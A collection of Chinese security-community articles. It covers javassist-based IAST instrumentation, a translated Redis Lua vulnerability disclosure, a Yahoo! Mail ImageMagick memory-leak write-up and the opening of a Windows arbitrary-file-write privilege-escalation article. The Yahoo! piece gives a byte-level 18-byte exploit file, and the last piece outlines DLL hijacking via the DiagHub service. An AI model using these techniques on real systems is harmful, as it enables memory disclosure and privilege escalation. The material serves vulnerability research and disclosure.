String.format("{StackTraceElement[] stackTrace = Thread.currentThread().getStackTrace();org.dgcat.spy.SpyAPI.atEnter(\"%s\", \"%s\", \"%s\", %s, %s);}",
clazzname, methodInfo, parametersName.toString(), "($w)$args", "stackTrace[stackTrace.length-1].toString()")
);
// 方法后增强
ctBehavior.insertAfter(
String.format("{org.dgcat.spy.SpyAPI.atExit(\"%s\", \"%s\", %s);}",
clazzname, methodInfo, "($w)$_")
);
// 异常出增强
ctBehavior.addCatch(
String.format("{org.dgcat.spy.SpyAPI.atExceptionExit(\"%s\", \"%s\", %s);"
+ "throw $e;}",
clazzname, methodInfo, "$e"),
ClassPool.getDefault().get("java.lang.Throwable")
);
}
可以看到，该方法主要是执行了一些方法信息等获取，并分别在方法进入、退出、异常的时候做对应的修改。
调用SpyAPI的方法，其实就是调用我们实现的NormalAspect中的方法。这里我们只看一下`atEnter()`里面的逻辑， 这三个方法是差不多的。
public void atEnter(String className, String methodInfo, String parametersName, Object[] arg, String codeLine) {
try {
if(className.contains("controller")){
TRANSACTION_ID.set(geRandomID());
}
if (TRANSACTION_ID.get() != null) {
String[] parametersNames = getparametersNames(parametersName);
String methodName = getMethodName(methodInfo);
String[] parametersTypes = getParametersTypes(methodInfo);
LinkedList<Parameter> parameters = new LinkedList<Parameter>();
for (int i = 0; i < parametersTypes.length; i++) {
parameters.add(new Parameter(parametersNames[i], parametersTypes[i], arg[i]));
}
EnterInfo enterInfo = new EnterInfo(TRANSACTION_ID.get(), className, methodName, parameters, codeLine);
System.out.println(JSON.toJSONString(enterInfo));
}
} catch (Throwable e) {
e.printStackTrace();
}
}
这里大部分逻辑是做一些参数封装，并打印输出。需要注意的是这里用到了ThreadLocal，需要在我们开始记录调用链的入口处做拦截，生成一个TRANSACTION_ID并将其附加到当前线程上，这个TRANSACTION_ID将在`atExit()`方法做清除。
到这里，我们实现的主要逻辑就已经介绍完毕了。我们为一个springboot项目插桩，简单看下效果。
指定-javaagent参数启动
`java -javaagent:./agent-1.0-SNAPSHOT-jar-with-dependencies.jar -jar
secexample-1.0.jar`
请求效果
存在parameterList字段的记录是进入方法的信息，存在returnType字段的记录是退出方法的信息，我们看到不同请求的traceId也是不一致的，由此可以标识不同请求的调用链。这里由于我们修改的类比较少，形成的调用链比较简单，如果确定好合适的需要修改的类后，则可以看到更详细的调用链条。
### 4.5 写在最后
到这里，本篇文章分析的内容就到尾声了，写这个小demo的时候其实也踩到了很多坑，个别问题花了大量时间解决或是到现在也没能解决，主要是以下几个问题：
1. 框架适配，不同的框架有不同的入口，需要寻找框架合适的入口做traceId的生成和清除，也是一项长期且复杂的工作。
2. 分布式追踪，有些服务是使用分布式、微服务的这种架构，这时候需要对分布式框架的出入口做对应的修改，将当前的traceId到框架请求中，这样调用链才能追踪下去。
3. javassist的一些问题，javassist还是过于简单了一些，某些方法的bug官方到现在也没有修改，比如获取参数信息`attribute.variableName(i)`，经常会有数组越界的问题，在后续版本更新了`attribute.variableNameByIndex(i)`方法后，这种情况依然偶有发生，这跟本地变量表有关系，javassist显然是有些情况没能考虑到，还是ASM更靠谱一些。
4. 目前实现的这种traceId标记一次请求调用链还是有一些问题的，如果在一次请求中的代码也启动子线程就会导致一部分调用链的确实。对于new Thread()创建线程，我们可以通过InheritableThreadLocal将traceId拷贝到子线程中。但如果使用线程池就比较麻烦了，需要去修改线程池相关的类和方法的字节码。
IAST agent需要实现的更多功能，大家可以参考火线洞态IAST，其在github上开源了一个java版本的agent，还是具有比较良好的借鉴意义的。 | 社区文章 |
原文链接：[《Redis Lua scripting: several security vulnerabilities
fixed》](http://antirez.com/news/119 "Redis Lua scripting: several security
vulnerabilities fixed")
作者：antirez
译者：[Roy@Knownsec](https://github.com/cf020031308 "Roy")
一个多月前我收到一封来自 Apple 信息安全团队的邮件。他们在一次审计中发现了一个 Redis Lua 子系统中的安全问题，具体来说是在 cmsgpack
库中。这个库并非 Lua 的一部分，而是我自己按 MessagePack 实现的。在一次合并一个功能改进的 pull request
时引入了安全问题。后来他们又发现了 Lua struct 库的一个新问题，同样这个库也不是 Lua 的，至少不是我们用的这版 Lua
的：我们才刚把源码嵌入到自己的 Lua 实现里，以便能给 Redis 用户使用的 Lua 解释器添加一些功能。然后我就发现了该 struct
库的另一个问题，接着 Alibaba 团队也发现了许多 cmsgpack 的其他问题，并定位了调用这些 Lua API 的代码。我迅速地就被一堆 Lua
相关的漏洞淹没了。
这些漏洞更多地是影响在云端提供托管 Redis 服务器这一特定场景，毕竟没有 Redis 服务器权限的话，要利用已发现的漏洞几乎不可能：很多 Redis
用户根本就用不到 cmsgpack 或 struct 库，即使用也不大可能用在不可信的输入上。但云服务提供商就不同了：他们的 Redis
实例（通常有多种租约）是开放给了订阅服务的用户的。他或她可以发送任何东西给这些 Redis 实例，触发漏洞、破坏内存、影响甚至完全操控 Redis 进程。
比如这个 Python 小程序就能击溃 Redis，利用了 cmsgpack 其中一个漏洞。
[https://gist.github.com/antirez/82445fcbea6d9b19f97014cc6cc79f8a
](https://gist.github.com/antirez/82445fcbea6d9b19f97014cc6cc79f8a)
不过站在能控制 Redis 实例的输入的普通用户的角度来看，风险仅限于将不可信的内容传入诸如 `struct.unpack()`
的函数，还得首先刚好选到一种危险的解码格式 `bc0` 作为格式参数。
#### 沟通协调
多亏了 Apple 信息安全团队、我，和 Redis 云服务提供商之间的积极配合和友好交流，我先联系上了所有重要的 Redis
提供商，尽量协调漏洞的发布，好让他们能先一步打上补丁。我提供了一个独立补丁，使得提供商能轻易应用到他们的系统中。最后从昨天到今天我准备了 Redis 3、4
和 5 的新的修复版本，修复了安全性。你在看这篇博文时这些都已经发布了。
不幸的是我没能联系上较小或较新的云服务提供商。处理与 Redis Lab, Amazon, Alibaba, Microsoft, Google,
Heroku, Open Redis 和 Redis Green
的沟通已是竭尽全力，何况将信息扩散给其它主体将增加泄密的风险（各家公司都有很多人参与其中）。如果你是一名 Redis
服务提供商却今天才知道这个漏洞，我很抱歉，我已经尽力了。
感谢 Apple 信息安全团队以及其他提供商在这个问题上的提点与帮助。
#### Lua 的问题
老实说设计 Redis 的 Lua 引擎时，我并没设想过这种顾客与云服务提供商相对立的安全模型。这多少假设了 Redis 服务器的使用者是可信的。所以
Lua 库普遍没有经过安全审查。当时觉得你要是都有 Redis API 的权限了，你怎么都能干得比这更不安全。
不过后来事情就变了，云服务提供商限制了开放给顾客的 Redis API，以使提供托管的 Redis 实例成为可能。但拒绝了 CONFIG 或 DEBUG
这类命令，就不可避免地要开放 EVAL 和 EVALSHA（译者注：两个都是用来执行 Lua 脚本的命令）。Redis Lua
脚本是社区里最常用到的功能之一。
因此在我真正留意到之前，Lua 库也已因 Redis 开放给最终用户的方式发生变化而日渐成为本该由 Redis
处理的安全模型中的一个攻击点。如前所述，在这模型中相比 Redis 用户，是托管 Redis “云”服务提供商受影响更多，但无论如何这是个必须解决的问题。
我们能做些什么来改进云服务提供商目前在安全方面的状态，并兼顾 Lua 脚本的具体问题呢？我列出了一些事情，想在接下来的几个月去做。
1. Lua 栈保护。貌似 Lua 可以通过编译以一些性能的牺牲来保证 Lua 栈 API 不被滥用。公正地说，我觉得 Lua 提出的关于栈的假设有点太琐碎了，Lua 库的开发者得一直检查栈上是否有足够的空间来压入一个新的值。其它同等抽象的语言有 C API，就没这个问题。所以我要好好考虑下在 Lua 底层 C API 中增加防范措施的低效是否可以接受。
2. 安全审计与模糊测试。尽管时间有限，我仍给 Lua struct 库做了些模糊测试。我将继续检查这领域的其它 Bug。肯定还有更多的问题，我们发现的 Bug 只是部分，这仅仅是因为之前没有多余的时间能投入到脚本子系统中。所以这是将要进行的一个重要的事情。在结束后我会再与 Redis 供应商协调，以使他们能及时打上补丁。
3. 从 Redis 用户的角度来说，有不可信数据发往 Lua 引擎时使用 HMAC （译者注：一种加密的哈希方法）来确保数据没被更改是很重要的。比如说有种流行的模式是把用户的状态存在用户自己的 cookie 里，以后再解码。这种数据后面可能被用作 Redis Lua 函数的输入。这个例子中一定要用 HMAC 来保证我们读到的是之前存储过的。
4. 更全面的 Lua 沙盒化。关于这个话题应该有大量的的文献和优秀实践。我们已有一些沙盒实现，但依据我的安全经历我感觉沙盒化归根结底就是个猫鼠游戏，不可能做到完美。比如追踪 CPU 或内存的滥用对 Redis 来说可能就太复杂了。但我们应至少能做到进程错误时“优雅”地退出，不产生任何内存内容错误。
5. 也许到了升级 Lua 引擎的时候了？我不确定新版的 Lua 是否从安全角度来说更先进，但我们有大量问题使得升级 Lua 会导致老的脚本可能无法运行。对 Redis 社区里的脚本，尤其是 Redis 用户随便写的那种，更先进的 Lua 版本的作用有限，这是一大问题。
#### 相关 Issue
修复问题的提交如下：
ce17f76b 安全性: 修复 redis-cli 缓冲溢出。
e89086e0 安全性: 修复 Lua struct 库偏移量处理。
5ccb6f7a 安全性: 更多 cmsgpack 的修复，来自 @soloestoy。
1eb08bcd 安全性: 更新 Lua struct 库，提升安全性。
52a00201 安全性: 修复 Lua cmsgpack 库栈溢出。
第一个提交与此无关，是一个 redis-cli 的缓冲溢出，只有在命令行中传入一个很长的主机参数时才会被利用。其它的才是我们发现的 cmsgpack 与
struct 库的问题。
这是两个复现问题的脚本：
[https://gist.github.com/antirez/82445fcbea6d9b19f97014cc6cc79f8a
](https://gist.github.com/antirez/82445fcbea6d9b19f97014cc6cc79f8a)
[https://gist.github.com/antirez/bca0ad7a9c60c72e9600c7f720e9d035
](https://gist.github.com/antirez/bca0ad7a9c60c72e9600c7f720e9d035)
两个都是苹果信息安全团队写的。但第一个我做了修改，以便能更稳定地复现。
#### 影响到的版本
几乎所有带 Lua 脚本的 Redis 都受到了影响。
修复的版本为以下 github tag：
3.2.12
4.0.10
5.0-rc2
稳定版（4.0.10）仍可在 [http://download.redis.io ](http://download.redis.io) 找到。
各发行版 tarball 文件的哈希值在此：
[https://github.com/antirez/redis-hashes ](https://github.com/antirez/redis-hashes)
请注意发行的版本中也包含了其他的修复，所以最好也读下版本说明，好了解切换到新版时其他会升级的东西。
希望再发博客时能带来为 Redis 的 Lua 脚本子系统规划的安全审计的报告。
* * * | 社区文章 |
# 【技术分享】如何利用Yahoo!邮件中的隐私图像泄露漏洞拿下1万4千美元奖金
|
##### 译文声明
本文是翻译文章，文章来源：scarybeastsecurity.blogspot.hk
原文地址：<https://scarybeastsecurity.blogspot.hk/2017/05/bleed-continues-18-byte-file-14k-bounty.html>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
滴血攻击现在是个非常热门的话题，这类漏洞中最引人注目的就是[心脏滴血（Heartbleed）漏洞](https://en.wikipedia.org/wiki/Heartbleed)以及[云滴血（Cloudbleed）漏洞](https://en.wikipedia.org/wiki/Cloudbleed)。在这两个漏洞中，服务端代码中存在的越界读取漏洞都会导致服务器的私密内存数据被返回给客户端。这些漏洞会泄露服务端进程内存空间中的敏感信息，比如密钥、令牌、cookies等。此外，最近微软图像库的客户端实现中还存在滴血[漏洞](https://bugs.chromium.org/p/project-zero/issues/detail?id=992)，该漏洞会通过Internet
Explorer泄露敏感信息。滴血攻击之所以引人关注，原因在于它们不受大多数沙盒的影响，并且利用方式也相对容易。
本文介绍的是一个Yahoobleed #1（YB1）漏洞，我们可以利用这个漏洞，从Yahoo!服务器中窃取其他用户的Yahoo!邮件中的隐私图像附件。
YB1利用的是我之前在[ImageMagick](https://www.imagemagick.org/script/index.php)图像处理软件中发现的一个0-day漏洞。现在这个漏洞已经是一个1-day漏洞了，因为我已经将其上报给ImageMagick，同时提交了一行修复[代码](http://git.imagemagick.org/repos/ImageMagick/commit/1c358ffe0049f768dd49a8a889c1cbf99ac9849b)来解决这个问题。目前这个漏洞的编号为CESA-2017-0002。
之前滴血类漏洞通常都是越界读取漏洞，但本文分析的这个漏洞是由于未初始化内存的使用所引起的。在这个案例中，程序以某个未初始化的图像解码缓冲区为基础，来渲染某张图片并返回给用户，这将导致服务端内存泄露。这类漏洞与越界读取漏洞相比更为隐蔽，因为服务器永远不会发生崩溃。然而，所泄露的隐私数据会受限于已被释放的堆块中的数据。
**二、Yahoo!的回复**
Yahoo!对这个漏洞的回复是我见过的最为完美的回复，具体如下：
1、Yahoo!有个漏洞奖金项目，用来鼓励并回馈漏洞安全研究，同时也与黑客保持积极的联系等等。
2、一旦收到漏洞报告时，他们自己会有一个90天的回复期限，这是非常进步的一点，另一个反例就是微软，微软偶尔会将合理的披露期限变成毫无意义的缠斗过程。
3、该漏洞的确在90天内就被修补了。
4、沟通过程非常顺畅，即使我发送了太多的ping请求他们也不厌其烦。
5、漏洞的修复非常彻底：他们直接弃用了ImageMagick。
6、他们给我发放了1万4千美金的奖励（我结合另外一个[漏洞](https://scarybeastsecurity.blogspot.hk/2017/05/bleed-more-powerful-dumping-yahoo.html)获得了这些奖金），平均每个字节价值778美金，非常棒。
7、我将所有奖金捐献给了慈善机构。确认这一信息后，Yahoo!接受了相关建议，将奖金提高到了28,000美金。
8、事了拂衣去，深藏功与名。
**三、漏洞示例**
在漏洞示例中，我们所使用的攻击方法就是将某个18字节的漏洞利用文件（或者变量）作为Yahoo!邮件附件发送给我自己，然后在收到的邮件中点击这张图像，运行图片预览面板。最终浏览器收到的图像对应的是一段未初始化、或者之前已经被释放的内存数据。
请注意：对于下文所使用的三张图片，我通过各种变换抹去了图片中存在的信息熵，且原始图片已经被销毁。
在图片#1中，你可以看到被黑圈围绕的字母A。想象一下，当你正在调试一个自认为非常无趣的漏洞时，在返回的图像中突然出现这类信息会有什么感觉？如果假设内存中原始的图像不包含重复信息，那么在复原的图像中重复出现这类信息有多种可能的原因。
最为明显的一个原因就是，内存中的图像大小可能与我们未初始化的画布（canvas）尺寸不匹配，对这个例子来说，我们使用的画布尺寸为1024×1024。根据内存中图像的不同存储方式，尺寸不匹配将导致图像重复以及（或者）偏移，这两种现象都可以在这个示例中找到。
此外，内存中图像的表示方式可能与颜色空间（colorspace）、颜色空间通道顺序或者Alpha通道状态（为“是”或者“否”状态）不一致。这种情况下，缩略图解码及重新编码管道将在执行过程中在内存中留下各种不同的衍生品。
请不要怀疑我们能否正确恢复原始的图像，但这并非是我们的目标。
在图片#2中，你仍然有可能找出图片中残存的人脸痕迹，也许是额头、鼻子、前额甚至颚骨？有可能什么都找不到，因为我已经去掉了图片中的信息熵。但当你从这张图片中发现一张随机的脸时，你就会感觉到问题的严重性。当我遇到这种情况时，我删除了导致未初始化内存漏洞的所有文件，并报告了该漏洞。
在图片3#中，图像中的颜色得以保留，因为这张图片中有某些垂直的彩色线条，这些颜色包括品红色、青色以及黄色。究竟内存中的哪个结构会导致这种现象发生呢？我并不了解。最开始我认为这是某些CMYK颜色空间的外在表现，但随后我否定了这种想法。JPEG文件通常会在YCbCr颜色空间中进行编码，因此这种现象可能与某个编码或解码的JPEG图片有关。
**四、漏洞分析**
这个漏洞隐藏于RLE（Utah Raster Toolkit Run Length
Encoded）图片格式中，我之前在某篇分析box.com内存损坏漏洞的[文章](https://scarybeastsecurity.blogspot.com/2017/03/black-box-discovery-of-memory.html)中也提到过这个漏洞。我们可以在coders/rle.c源码中，找到与新的ImageMagick
0-day漏洞有关的代码片段：
pixel_info_length=image->columns*image->rows*
MagickMax(number_planes_filled,4);
pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);
if ((flags & 0x01) && !(flags & 0x02))
{
[...]
/*
Set background color.
*/
p=pixels;
for (i=0; i < (ssize_t) number_pixels; i++)
{
[...]
{
for (j=0; j < (ssize_t) (number_planes-1); j++)
*p++=background_color[j];
*p++=0; /* initialize matte channel */
}
}
}
/*
Read runlength-encoded image.
*/
[...]
do
{
switch (opcode & 0x3f)
[...]
opcode=ReadBlobByte(image);
} while (((opcode & 0x3f) != EOFOp) && (opcode != EOF));
这是一个相当狡猾的漏洞，因为这段代码比较抽象，同时造成漏洞的原因并不是某行代码存在漏洞，而是因为代码片段中没有包含某行必要的代码。代码的逻辑处理流程大致如下：
1、为解码图像分配大小合适的画布。需要注意的是，调用GetVirtualMemoryBlob函数并不能保证我们获得一段被零填充的内存，你可能认为这个函数内部使用的是mmap()函数，然而它内部使用的却是malloc()。
2、根据图像头部中的某些标志，程序会决定是否将画布初始化为背景颜色。
3、在一个循环中迭代RLE协议命令，这些命令可能很长，也可能为空。
4、在这个代码片段之后，解码用的画布将会被转移到ImageMagick管道中，以便进行后续处理。
正如你现在看到的那样，攻击者可以构造一个包含特定头部标志的RLE图像，使程序不对画布进行初始化处理，紧随其后的是一个包含空白RLE协议命令的列表。这将导致程序在解码图像后，使用某个未经初始化处理的画布。我们可以构造一个RLE文件完成攻击过程，这个文件只有18字节大小！
18字节具体解释如下：
52 CC: 头部
00 00 00 00: 左上顶点位于0x0.
00 04 00 04: 图像尺寸为1024 x 1024
02: 0x02标志（不需要背景色）
01: 1个平面（即灰度图像）
08: 每个样本8比特
00 00 00: 没有颜色映射, 颜色表长度为0，使用填充
07: 图像结尾（在预循环中消耗了一个协议命令）
07: 图像结尾（解码循环真正结束）
有几个字节对漏洞利用实验来说比较重要：平面（plane）的数量（该数量可以决定图像是灰度还是彩色图像）以及图像尺寸，图像尺寸决定了经过malloc()分配的未初始化内存块的大小。
**五、漏洞利用**
漏洞利用是最为有趣的部分。以下是影响漏洞利用的一些关键因素，这些因素包含通用因素以及Yahoo!专有的因素：
1、解码器锁定。Yahoo!似乎没有实现任何形式的白名单机制，以确保只有正确的ImageMagick解码器才能正常工作。对现代的Web而言，RLE并不是一个合适的解码器。任何正在使用ImageMagic的相关人士都应该锁定解码器列表，只保留真正需要的那些解码器。
2、沙盒。正如前文提到的，沙盒对这类漏洞利用不会造成太多影响。尽管区别不大，我猜测存在问题的服务器最有可能使用的是Perl和PerMagick，同时也在处理各种各样的网络流量，这意味着如果不经过大量的重构处理，服务器无法应用一个非常严格的沙盒策略。
3、进程隔离。这个问题至关重要。在ImageMagick的大多数使用场景中，滴血漏洞通常是无害的，因为一般情况下，攻击者只能通过这类漏洞，启动ImageMagic的convert程序，从而发起缩略图请求，每次发起一次缩略图请求都需要重新启动一次convert程序。这意味着被漏洞利用的进程内存空间中只可能包含攻击者自身的图像数据，使得漏洞利用十分鸡肋（但对Box以及DropBox而言情况有所不同，可以参考我之前的那篇文章）。
用来处理缩略图的Yahoo!邮件进程按照某种不常规的方式来处理缩略图请求，这个进程的生存周期非常长，并且会接受许多不同用户的图像处理请求。因此，这个内存数据泄露漏洞对Yahoo!而言就显得非常严重。
4、堆实现方式。程序所使用的堆实现方式是非常重要的一个因素。正如前面分析的那个RLE文件，画布所分配的空间为1024 x 1024 x
4，也就是4MB大小。这个大小对缓冲区分配而言是非常大的，比如，x86_64架构的Linux系统对默认的malloc()调用做了些调整，使用mmap()来满足大型缓冲区的分配，该函数会在分配的内存中填充0，不会导致敏感内存数据泄露。然而，我们的确在Yahoo!的大型缓冲区分配上下文中看到泄露的堆数据，因此Yahoo!肯定没有使用默认的堆实现方式。通过堆数据泄露，我们可以通过指纹信息进一步分析堆的实现方式。也许我们会发现服务器使用的是tcmalloc或者jemalloc，许多大型服务商都会使用这两种分配器。
5、缩略图尺寸。我们有必要对缩略图尺寸做个简要的说明。如果我们构造的未初始化画布在生成较小的缩略图时尺寸会变小，那么这种情况下原始泄露的内存数据就会有部分信息丢失，这样一来漏洞利用肯定会受到影响。然而，Yahoo!邮件的预览面板看上去支持非常大尺寸的图像（经测试支持2048×2048尺寸），因此我们不必担心这一点。
6、缩略图压缩。这一点比较有趣。Yahoo!邮件会以JPEG图像形式返回缩略图和预览图像。正如我们已知的，JPEG是一个有损压缩算法。如果我们只是想从Yahoo!服务器是获取图像数据，那么这不是一个大问题。然而如果我们对Yahoo!服务器内存中的原始字节感兴趣，那么有损压缩算法会导致我们丢失数据。
举个例子，我尝试过从内存转储数据中提取具体的指针值（也许我们希望能够以远程方式绕过ASLR的限制）。我使用的是灰度图像，因为对于JPEG压缩算法来说，对比亮度数据而言，它对颜色数据的压缩强度更大。但在泄露的16个字节大小的数据中，我发现了类似0x020081c5b0be476f以及0x00027c661ac2722a形式的指针值。你可能猜到这些指针与x86_64架构的Linux系统用户空间的指针（其格式形如0x00007f….）有关系，但显然这里我们丢失了很多数据。
我想还是有办法能够解决这个问题的。最有可能的一种情况是，某些缩略图端点能够返回（或者通过某些URL参数要求这些端点返回）无损的PNG图像，这种图像就不会造成泄露信息丢失。当然更有勇气的一种办法是通过JPEG压缩算法进行数学建模，一劳永逸解决这个问题。
**六、结论**
从广义上讲，在现在这个世界中，内存损坏漏洞越来越少，沙盒机制应用越来越广，在这种条件下，我们可以利用滴血漏洞从服务器上轻松窃取敏感信息。
从设计上讲，使用生存周期长的进程，并将其与ImageMagick关联起来不是一个好的设计思路，因为这样做可能会使漏洞的影响更加严重。在处理任何不可信的输入时，将ImageMagick的解码器限制到某个最小集合是非常必要的一件事情。
让我们再次看看GraphicsMagick与ImageMagick的对比结果。在2016年3月发布的1.3.24版本中，GraphicsMagick引入了一个名为“对coders/rle.c:633:39中越界读取的漏洞进行修复”的[代码变动集](http://hg.code.sf.net/p/graphicsmagick/code/diff/0a5b75e019b6/coders/rle.c)，修复了这个漏洞。这部分代码也是GraphicsMagick和ImageMagick中大量漏洞的集散地。GraphicsMagick和ImageMagick之间缺乏漏洞的协同修复机制。GraphicsMagick直到2016年3月才[修复](http://hg.code.sf.net/p/graphicsmagick/code/diff/c6a6ea253a35/coders/rle.c)了在我之前的博客中提到的那个RLE内存损坏漏洞，而ImageMagick早在2014年12月就[修复](http://git.imagemagick.org/repos/ImageMagick/commit/7131d8ff451a1d5163e7e35b7a910df80cb54fab)了这个漏洞。
对那些集成了ImageMagick服务的产品（如Linux发行版）而言，这个漏洞现在属于1-day漏洞，因为这些产品还没有打上对应的补丁（需要注意的是，由于某些原因，Ubuntu
16,04 LTS中完全禁用了RLE解码器）。
但在结论部分，我想重点强调在这个生态系统中有关责任方的一些问题：
1、研究人员的责任：研究人员的具体职责是什么？对于某个知晓软件漏洞的研究人员来说，我认为他们有责任将具体问题立刻通知软件所有者。假设厂商在合理的时间内对漏洞做了修复，那么一切结束了吗？对下游的用户而言，很有可能问题还没有得到解决。那么我们是否有责任通知每个受到影响的云服务提供商呢？我认为没必要这样做，我们只需要向一个或两个有漏洞奖励机制同时具备积极反馈渠道的服务商提交漏洞即可，但有些更广泛的问题仍然存在。
2、上游厂商的责任：除了简单地标识某个漏洞（假设该漏洞还没有被规范地赋予编号）之外，上有厂商如何妥善响应某个安全报告，并且及时修复这个漏洞？就个人而言，我认为厂商应该具备某种形式的畅通的通知渠道（例如通过邮件列表、网站上设立公告区等），同时他们也需要承担获取CVE编号的责任。
3、消费者的责任：对诸如Yahoo!、Box、DropBox以及Ubuntu等的消费者而言，他们的责任在哪？如果上有厂商做得足够好，那么消费者所属的安全团队只需要订阅相同的权威来源，在厂商每次发布新的公告时就第一时间采取行动即可（当然这是一个理想的场景，因为Box以及Yahoo!似乎都在运行存在漏洞的ImageMagick）。 | 社区文章 |
# Windows利用技巧：利用任意文件写入漏洞实现本地权限提升
##### 译文声明
本文是翻译文章，文章来源：https://googleprojectzero.blogspot.com/
原文地址：<https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
之前我曾在一篇[文章](https://googleprojectzero.blogspot.com/2017/08/windows-exploitation-tricks-arbitrary.html)中介绍过一种技术，可以利用Windows系统上的任意目录创建漏洞来获得系统上任意文件的访问权限。在即将推出的Spring
Creators
Update（RS4）系统上，前面提到过的这种漏洞（滥用挂载点链接到文件）已经被修复。这是非常典型的一个良性例子，通过对漏洞利用方法的详细分析，开发者就能具有充足的动力，寻找修复漏洞利用方法的各种途径。
在本文中，我将介绍一种新的技术来利用Windows
10系统上更为常见的任意文件写入漏洞。微软也许会进一步加固操作系统，使这类漏洞利用起来更加困难。最近微软修复了Project
Zero报告的一个漏洞（issue [1428](https://bugs.chromium.org/p/project-zero/issues/detail?id=1428)），这里我会详细漏洞细节，向大家演示该漏洞的利用方法。
所谓的任意文件写入漏洞，指的是用户可以在正常情况下无法访问的某个目录中创建或者修改文件。之所以会出现这种情况，原因可能是某个特权服务没有正确过滤用户传递进来的信息，符号链接植入攻击也有可能导致这种后果（用户将链接写入某个目录中，随后被特权服务所使用）。如果攻击者不仅能够控制文件的写入位置，也能控制文件内容，那么这是最为理想的一种漏洞场景，本文针对的正是这种场景。
任意文件写入漏洞常见的一种利用方法就是执行[DLL劫持](https://cwe.mitre.org/data/definitions/427.html)攻击。当Windows可执行文件开始执行时，NTDLL中的初始化loader会尝试查找所有导入的DLL。loader对DLL的检查过程比我们想象中的还要复杂一些，简而言之，该过程包含如下几个步骤：
1、检查[Known
DLLs](https://blogs.msdn.microsoft.com/larryosterman/2004/07/19/what-are-known-dlls-anyway/)，也就是操作系统预先缓存的一些已知DLL的列表。如果找到对应的DLL，则将DLL从预加载的section对象映射到内存中。
2、检查应用目录。比如如果程序正在导入`TEST.DLL`，并且程序所处目录为`C:APP`，那么loader就会检查`C:APPTEST.DLL`这个文件。
3、检查系统目录，比如`C:WINDOWSSYSTEM32`以及`C:WINDOWS`。
4、如果以上查找过程全部失败，则搜索当前的`PATH`环境变量。
DLL劫持的目标是找到处于高权限运行下的某个可执行程序，该程序会从某个目录加载某个DLL文件，而攻击者刚好可以往该目录中写入数据。只有当loader无法从前几个检查步骤中找到对应的DLL，这种劫持攻击才能奏效。
如果想成功执行DLL劫持攻击，有两个问题比较棘手，需要解决：
1、我们通常需要创建特权进程的一个新实例，因为当该进程首次执行时，待导入的大多数DLL已经被解析过。
2、大多数以特权用户身份运行的系统二进制文件、可执行程序以及DLL基本都位于`SYSTEM32`目录中。
第二个问题意味着在步骤2以及步骤3中，loader始终会去搜索`SYSTEM32`目录中的DLL文件。如果我们无法在目标环境中覆盖DLL文件（如果DLL已处于载入状态，则无法写入该文件），就很难找到合适的DLL来劫持。为了绕过这些问题，一种典型的方法就是挑选不在`SYSTEM32`中的某个可执行文件，并且该文件很容易被激活（比如通过加载COM服务器或者运行计划任务）。
即使我们找到了合适的目标程序来进行DLL劫持，但劫持过程看起来可能略显丑陋。某些情况下我们需要实现原始DLL的导出函数，否则DLL无法被成功加载。在其他情况下，运行代码的最佳位置就是DllMain，但这会引入其他问题（比如在[loader
lock](https://msdn.microsoft.com/en-us/library/windows/desktop/dn633971%28v=vs.85%29.aspx)中运行代码）。对于我们来说，最好的一种场景就是找到一个特权服务，该服务可以加载任意DLL，不需要劫持，也不需要生成“正确”的特权进程。那么问题来了，这种服务是否真的存在？
事实证明的确存在这样一个服务，并且该服务之前已经被滥用过两次，一次是被Lokihardt用来实现沙箱逃逸，另一次是被我用来实现用户权限到系统权限的[提升](https://bugs.chromium.org/p/project-zero/issues/detail?id=887)。这个服务的名称为“Microsoft (R) Diagnostics Hub Standard
Collector Service”，我们可以简称为DiagHub。
DiagHub是Windows 10引入的一种服务，Windows 7以及8.1上也有执行类似任务的服务：IE ETW
Collector。该服务的目的是通过ETW（Event Tracing for Windows）为沙箱应用（特别是Edge以及Internet
Explorer）收集诊断信息。该服务有一个有趣的功能，可以配置为从`SYSTEM32`目录中加载任意一个DLL，这正是Lokihardt和我利用的功能，最终借此实现了权限提升（EoP）。该服务的所有功能均通过已注册的一个DCOM对象对外公开，因此为了加载我们自己的DLL，我们需要弄清楚如何调用这个DCOM对象上的方法。现在你可以直接跳到本文尾部，但如果你想知道我如何发现DCOM对象的具体实现方式，可以继续阅读以下内容。
## 二、逆向分析DCOM对象
接下来请跟随我的脚步，一步步探索如何发现某个未知DCOM对象所支持的接口，找到该接口的实现方式，以便对其进行逆向分析。为了完成任务，一般我会使用两种方法，要么使用IDA
Pro或者类似工具进行逆向分析，要么先在系统上做些调研工作，以缩小调查范围。这里我们可以使用第二种方法，因为该方法能够提供更加丰富的信息。我并不了解Lokihardt解决问题的方法，这里我们以自己的方式解决这个问题。
选择这种方法，我们需要用到一些工具，比如github上的[OleViewDotNet](https://github.com/tyranid/oleviewdotnet/releases)
v1.4+（OVDN）以及[SDK](https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk)中的WinDBG工具。第一步是找到DCOM对象的注册信息，查找那些接口可以访问。我们知道DCOM对象托管在某个服务中，所以启动OVDN工具后，我们可以使用
**Registry ⇒ Local Services** 菜单，这样就能导入对外开放COM对象的已注册的系统服务。如果此时你搜索“Microsoft
(R) Diagnostics Hub Standard Collector
Service”这个服务（建议使用过滤器，查找起来更加方便），那么应该能在服务列表中找到它的身影。打开该服务的树形结构后，我们可以看到“Diagnostics
Hub Standard Collector
Service”这个子节点，这就是托管的DCOM对象。如果我们打开这个节点，该工具就会创建该对象，然后查询可以远程访问的所有COM接口，这样我们就能知道该对象支持的所有接口，如下图所示：
这里我们需要检查一下访问这个DCOM对象所需的安全等级。右键单击class节点，选择 **View Access Permissions** 或者
**View Launch Permissions** ，这样就能显示权限信息。在本例中，我们可以从IE Protected
Mode或者Edge的AppContainer沙箱（包括LPAC）来访问这个DCOM对象。
在这些接口中我们只关心标准的接口。有些时候目标中可能存在比较有趣的一些接口，但本例中我们并没有找到这些接口。在这些标准接口中有两个我们比较关心：
_IStandardCollectorAuthorizationService_ 以及 _IStandardCollectorService_
。其实我可以告诉大家 _IStandardCollectorService_
服务比较有趣，但由于下面的操作过程对每个接口来说都适用，因此我们可以随便挑一个接口来处理。如果我们右键单击接口节点，选择 **Properties**
，就可以查看该注册接口的详细信息。
